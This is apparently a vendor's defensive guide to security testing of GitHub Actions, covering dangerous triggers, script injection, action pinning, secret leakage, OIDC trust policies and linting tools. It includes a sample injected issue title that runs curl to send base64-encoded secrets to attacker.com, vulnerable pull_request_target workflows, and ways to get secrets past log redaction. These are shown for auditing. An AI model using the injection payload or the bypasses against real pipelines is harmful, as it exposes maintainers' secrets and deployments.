GitHub Actions Security Testing: Securing Your CI/CD Pipeline

GitHub Actions is now the default CI/CD platform for millions of repositories. It's also an increasingly attractive attack target. A compromised Actions workflow has direct access to repository secrets, cloud credentials, and deployment pipelines. Supply chain attacks against popular Actions, pull-request-triggered workflow poisoning, and OIDC misconfiguration have all appeared in real-world breaches.

This guide covers the security testing methodology for GitHub Actions: attack surface enumeration, secret exposure risks, workflow injection, third-party action vetting, and OIDC configuration review.

The GitHub Actions Attack Surface

Actions workflows run in GitHub-hosted or self-hosted runner environments. They have access to:

The threat model has two main attacker positions: an external contributor submitting a malicious pull request, and a compromised third-party Action (supply chain). Both aim to exfiltrate secrets or poison deployments.

Phase 1: Workflow File Audit

Start by reviewing all workflow files in the repository's .github/workflows/ directory. This is pure static analysis — no tooling required, just careful reading.

Trigger Review

# Dangerous triggers that run on external contributor code:
on:
  pull_request_target:    # runs in context of BASE branch with secrets access
  workflow_run:           # triggers after another workflow, can access secrets
  issue_comment:          # triggered by issue/PR comments
  push:                   # safe, only runs on code pushed by maintainers

Critical risk: pull_request_target — Unlike pull_request, this trigger runs in the context of the target (base) repository, not the fork. It has access to secrets. If it checks out the PR branch code and runs it, an attacker can submit a PR that executes arbitrary code with full secret access. This is one of the most exploited GitHub Actions misconfigurations.

# Vulnerable pattern — checks out PR branch in pull_request_target context:
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # DANGEROUS
      - run: npm install && npm test  # Runs attacker-controlled code with secrets
# Safe alternative — separate untrusted code from privileged operations:
on:
  pull_request:  # no secrets access in forks
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4  # checks out base branch by default
      - run: npm install && npm test

Script Injection via Context Variables

When workflow scripts interpolate GitHub context variables directly into shell commands, attackers can inject arbitrary commands by crafting issue titles, PR branch names, or commit messages.

# Vulnerable: issue title injected directly into shell
- name: Process issue
  run: echo "Processing ${{ github.event.issue.title }}"
  # Attacker creates issue titled:
  # "'; curl https://attacker.com/$(cat /etc/secrets | base64); echo '"

# Safe: pass through environment variable (no shell interpolation)
- name: Process issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Processing $ISSUE_TITLE"

Injection-prone context variables to audit:

GITHUB_TOKEN Permissions

The default GITHUB_TOKEN permission policy should be reviewed at both the organisation and repository level, and per-workflow.

# Overly permissive — default all permissions:
permissions: write-all

# Correct: minimum required permissions
permissions:
  contents: read
  pull-requests: write  # only if PR commenting is needed

# Repository default should be read-only:
# Settings → Actions → General → Workflow permissions → Read repository contents

Phase 2: Third-Party Action Vetting

Every uses: directive in a workflow pulls in third-party code that runs with full access to the runner and its secrets. The supply chain risk here is significant — compromised actions have been used to exfiltrate secrets at scale.

Version Pinning Audit

# Dangerous: uses floating tag — can change at any time
uses: actions/checkout@v4
uses: third-party/action@main
uses: third-party/action@latest

# Safe: pinned to immutable commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

# Check the SHA matches the tag:
# Visit: https://github.com/actions/checkout/commits/v4
# Or use: gh api repos/actions/checkout/git/ref/tags/v4.2.2
# Automated: find all unpinned actions in a repository
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
# Any line that doesn't show a 40-char hex SHA is potentially mutable

Dependency Review

Check that the actions you use are from verified publishers and have not been flagged for supply chain issues. Key questions:

Self-hosted Runner Risks

Self-hosted runners introduce additional risks. Unlike GitHub-hosted runners (which are ephemeral), self-hosted runners can persist state between runs.

# Check if self-hosted runners are used
grep -r "runs-on: self-hosted" .github/workflows/

# Key risks with self-hosted runners:
# 1. Persistent disk state — previous run artifacts, cached credentials
# 2. Access to internal network — runners inside the corporate network
# 3. Privilege escalation — runner process often runs as a high-privilege user
# 4. Lateral movement — compromised runner can access internal services

Self-hosted runners should only be used for push and other trusted triggers — never for pull_request from forks, as this gives external contributors code execution inside your network.

Phase 3: Secret Management Audit

Secret Exposure in Logs

Secrets are automatically redacted from Actions logs, but there are bypass techniques:

# Vulnerable: secret encoded before printing bypasses redaction
run: |
  echo "${{ secrets.API_KEY }}" | base64
  # base64-encoded secret appears unredacted in logs

# Vulnerable: secret split across multiple echo statements
run: |
  echo "${{ secrets.API_KEY | slice(0,10) }}"
  echo "${{ secrets.API_KEY | slice(10,20) }}"

# Vulnerable: secret printed via error message
run: |
  if [ -z "${{ secrets.API_KEY }}" ]; then
    echo "Secret is: ${{ secrets.API_KEY }}"
  fi

Environment Variable Exposure

# Check for secrets passed in environment variables to run steps:
- name: Deploy
  env:
    DATABASE_URL: ${{ secrets.DATABASE_URL }}
  run: ./deploy.sh

# The DATABASE_URL is accessible to any process spawned by deploy.sh
# including malicious code in npm postinstall scripts or build tools

Artifact Secret Exposure

# Artifacts are downloadable by anyone with read access to the repo
# This is dangerous if build artifacts contain secrets baked in:
- uses: actions/upload-artifact@v4
  with:
    name: build-output
    path: dist/
    # If dist/ contains bundled environment variables or credentials,
    # anyone who can download artifacts has those credentials

Phase 4: OIDC Configuration Review

OIDC (OpenID Connect) lets Actions workflows authenticate to cloud providers (AWS, Azure, GCP) without storing long-lived credentials as secrets. It's more secure than static credentials — but misconfigured trust relationships introduce privilege escalation risks.

# Example AWS OIDC configuration in a workflow:
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole
    aws-region: eu-west-1

# The corresponding AWS IAM role trust policy should be restrictive:
{
  "Effect": "Allow",
  "Principal": {
    "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub":
        "repo:your-org/your-repo:ref:refs/heads/main"  // SPECIFIC branch only
    }
  }
}

OIDC misconfigurations to look for:

Phase 5: Workflow Dependency and Reusable Workflow Audit

Reusable workflows (workflow_call) and composite actions introduce additional trust chains. When a workflow calls another workflow, the caller's permissions and secrets may be passed to the callee.

# Reusable workflow caller
jobs:
  deploy:
    uses: your-org/shared-workflows/.github/workflows/deploy.yml@main
    with:
      environment: production
    secrets: inherit  # ALL secrets passed to callee — review callee carefully
# Safer: explicitly pass only needed secrets
    secrets:
      DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}

Automated Tooling

actionlint

# Static linter for GitHub Actions workflows
# Catches many injection vulnerabilities and configuration errors
brew install actionlint  # or: go install github.com/rhysd/actionlint/cmd/actionlint@latest

actionlint .github/workflows/*.yml

# Key findings actionlint reports:
# - Expression injection vulnerabilities
# - Incorrect permission scopes
# - Deprecated features
# - Syntax errors

Semgrep GitHub Actions rules

# Semgrep has a ruleset specifically for GitHub Actions security
semgrep --config=p/github-actions .github/workflows/

# Rules cover:
# - pull_request_target misuse
# - Script injection patterns
# - Dangerous permission settings

StepSecurity Harden-Runner

# Add to workflows to monitor outbound network connections and file access
steps:
  - uses: step-security/harden-runner@v2
    with:
      egress-policy: audit  # or 'block' to prevent unexpected outbound connections

Findings Severity Reference

Finding Severity Attack Scenario
pull_request_target checks out PR branch Critical External contributor exfiltrates all org secrets
Script injection via issue/PR title High Anyone who can create issues exfiltrates secrets
Unpinned third-party actions High Compromised action publisher accesses secrets
OIDC wildcard trust relationship High Any branch in any repo assumes production cloud role
Self-hosted runners on fork PRs High External contributor executes code inside internal network
write-all or default write permissions Medium Compromised workflow modifies code or releases
secrets: inherit on reusable workflows Medium Secrets exposed to less-trusted reusable workflow
Secrets in uploaded artifacts Medium Anyone with repo read access downloads credentials
Secret logging via encoding bypass Medium Secrets visible to anyone with log access

Your CI/CD pipeline deploys to your production environment. Ironimo scans your web application's attack surface — including the endpoints your pipeline creates — to catch vulnerabilities before attackers do.

Start free scan

Remediation Checklist